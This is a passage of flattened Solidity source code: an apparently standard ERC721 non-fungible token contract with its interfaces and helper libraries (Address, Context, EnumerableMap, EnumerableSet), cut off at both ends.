* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(base, tokenId.toString()));
}
/**
* @dev Returns the base URI set via {_setBaseURI}. This will be
* automatically added as a prefix in {tokenURI} to each token's URI, or
* to the token ID if no specific URI is set for that token ID.
*/
function baseURI() public view virtual returns (string memory) {
return _baseURI;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
return _holderTokens[owner].at(index);
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _tokenOwners.contains(tokenId);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
d*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId); // internal owner
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI},
* or to the token ID if {tokenURI} is empty.
*/
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits an {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "../../introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "./IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "./IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*
* As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are
* supported.
*/
library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
// Storage of map keys and values
MapEntry[] _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) { // Equivalent to !contains(map, key)
map._entries.push(MapEntry({ _key: key, _value: value }));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) { // Equivalent to contains(map, key)
// To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one
// in the array, and then remove the last entry (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*/
function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key)
return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {_tryGet}.
*/
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint160(uint256(value))));
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*
* _Available since v3.4._
*/
function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) {
(bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));
return (success, address(uint160(uint256(value))));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key)))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryGet}.
*/
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage))));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
